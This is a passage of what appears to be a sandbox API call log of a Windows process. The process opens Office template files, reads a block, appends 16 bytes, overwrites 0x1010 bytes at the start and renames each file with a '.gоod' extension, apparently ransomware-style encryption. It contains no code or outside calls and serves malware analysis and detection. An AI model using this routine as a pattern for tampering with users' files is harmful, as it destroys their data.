dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0242.879] GetFileType (hFile=0x768) returned 0x1 [0242.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0242.879] GetFileType (hFile=0x768) returned 0x1 [0242.879] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0242.879] ReadFile (in: hFile=0x768, lpBuffer=0x39e9678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x39e9678*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0242.881] CloseHandle (hObject=0x768) returned 1 [0242.881] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", lpFilePart=0x0) returned 0x4c [0242.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0242.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0242.881] GetFileType (hFile=0x768) returned 0x1 [0242.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0242.881] GetFileType (hFile=0x768) returned 0x1 [0242.881] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0xcdbb [0242.881] WriteFile (in: hFile=0x768, lpBuffer=0x39eb948*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x39eb948*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0242.882] CloseHandle (hObject=0x768) returned 1 [0242.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", lpFilePart=0x0) returned 0x4c [0242.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0242.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0242.883] GetFileType (hFile=0x768) returned 0x1 [0242.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0242.883] GetFileType (hFile=0x768) returned 0x1 [0242.883] ReadFile (in: hFile=0x768, lpBuffer=0x39ef330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x39ef330*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0243.249] CloseHandle (hObject=0x768) returned 1 [0243.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", lpFilePart=0x0) returned 0x4c [0243.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0243.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0243.250] GetFileType (hFile=0x768) returned 0x1 [0243.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0243.250] GetFileType (hFile=0x768) returned 0x1 [0243.250] WriteFile (in: hFile=0x768, lpBuffer=0x386ff68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x386ff68*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0244.191] CloseHandle (hObject=0x768) returned 1 [0244.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", lpFilePart=0x0) returned 0x4c [0244.223] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx.gоod", lpFilePart=0x0) returned 0x51 [0244.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0244.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb86bf6b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb86bf6b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8dc3ca0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcdcb)) returned 1 [0244.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0244.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackletter.dotx.gоod")) returned 1 [0244.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", lpFilePart=0x0) returned 0x4c [0244.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0244.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3b6c5a8 | out: lpFileInformation=0x3b6c5a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b56a6)) returned 1 [0244.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0244.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", lpFilePart=0x0) returned 0x4c [0244.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0244.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.225] GetFileType (hFile=0x630) returned 0x1 [0244.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0244.225] GetFileType (hFile=0x630) returned 0x1 [0244.225] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0244.225] ReadFile (in: hFile=0x630, lpBuffer=0x3b6ca00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3b6ca00*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0244.226] CloseHandle (hObject=0x630) returned 1 [0244.226] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", lpFilePart=0x0) returned 0x4c [0244.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0244.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.226] GetFileType (hFile=0x630) returned 0x1 [0244.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0244.226] GetFileType (hFile=0x630) returned 0x1 [0244.226] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1b56a6 [0244.226] WriteFile (in: hFile=0x630, lpBuffer=0x3b6ecd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3b6ecd0*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0244.227] CloseHandle (hObject=0x630) returned 1 [0244.227] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", lpFilePart=0x0) returned 0x4c [0244.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0244.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.228] GetFileType (hFile=0x630) returned 0x1 [0244.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0244.228] GetFileType (hFile=0x630) returned 0x1 [0244.228] ReadFile (in: hFile=0x630, lpBuffer=0x3b70fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3b70fb0*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0244.261] CloseHandle (hObject=0x630) returned 1 [0244.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", lpFilePart=0x0) returned 0x4c [0244.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0244.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.261] GetFileType (hFile=0x630) returned 0x1 [0244.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0244.261] GetFileType (hFile=0x630) returned 0x1 [0244.261] WriteFile (in: hFile=0x630, lpBuffer=0x3b6fce8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3b6fce8*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0244.261] CloseHandle (hObject=0x630) returned 1 [0244.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx", lpFilePart=0x0) returned 0x4c [0244.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx.gоod", lpFilePart=0x0) returned 0x51 [0244.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0244.262] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8dcd53e5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b56b6)) returned 1 [0244.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0244.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackreport.dotx.gоod")) returned 1 [0244.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", lpFilePart=0x0) returned 0x46 [0244.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0244.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\salesreport.xltx"), fInfoLevelId=0x0, lpFileInformation=0x3bed770 | out: lpFileInformation=0x3bed770*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb845d09, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb845d09, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb86bf6b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa8ed)) returned 1 [0244.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0244.263] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", lpFilePart=0x0) returned 0x46 [0244.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0244.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\salesreport.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.263] GetFileType (hFile=0x630) returned 0x1 [0244.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0244.263] GetFileType (hFile=0x630) returned 0x1 [0244.263] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0244.264] ReadFile (in: hFile=0x630, lpBuffer=0x3bedb98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3bedb98*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0244.440] CloseHandle (hObject=0x630) returned 1 [0244.953] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", lpFilePart=0x0) returned 0x46 [0244.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0244.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\salesreport.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0244.953] GetFileType (hFile=0x834) returned 0x1 [0244.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0244.953] GetFileType (hFile=0x834) returned 0x1 [0244.953] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0xa8ed [0244.954] WriteFile (in: hFile=0x834, lpBuffer=0x3ba6070*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3ba6070*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0244.955] CloseHandle (hObject=0x834) returned 1 [0244.956] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", lpFilePart=0x0) returned 0x46 [0244.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0244.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\salesreport.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0244.956] GetFileType (hFile=0x834) returned 0x1 [0244.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0244.956] GetFileType (hFile=0x834) returned 0x1 [0244.956] ReadFile (in: hFile=0x834, lpBuffer=0x3baa4c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3baa4c8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0246.043] CloseHandle (hObject=0x834) returned 1 [0246.044] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", lpFilePart=0x0) returned 0x46 [0246.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0246.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\salesreport.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0246.044] GetFileType (hFile=0x834) returned 0x1 [0246.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0246.044] GetFileType (hFile=0x834) returned 0x1 [0246.044] WriteFile (in: hFile=0x834, lpBuffer=0x36d6648*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x36d6648*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0246.044] CloseHandle (hObject=0x834) returned 1 [0246.044] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx", lpFilePart=0x0) returned 0x46 [0246.044] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx.gоod", lpFilePart=0x0) returned 0x4b [0246.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0246.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\salesreport.xltx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb845d09, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb845d09, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8edd1f5f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa8fd)) returned 1 [0246.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0246.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\salesreport.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\salesreport.xltx.gоod")) returned 1 [0246.045] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", lpFilePart=0x0) returned 0x48 [0246.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0246.045] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\studentreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3814d60 | out: lpFileInformation=0x3814d60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc51)) returned 1 [0246.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0246.046] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", lpFilePart=0x0) returned 0x48 [0246.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0246.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\studentreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0246.046] GetFileType (hFile=0x834) returned 0x1 [0246.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0246.046] GetFileType (hFile=0x834) returned 0x1 [0246.046] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0246.046] ReadFile (in: hFile=0x834, lpBuffer=0x3815198, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3815198*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0246.048] CloseHandle (hObject=0x834) returned 1 [0246.048] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx", lpFilePart=0x0) returned 0x48 [0246.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0246.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\studentreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 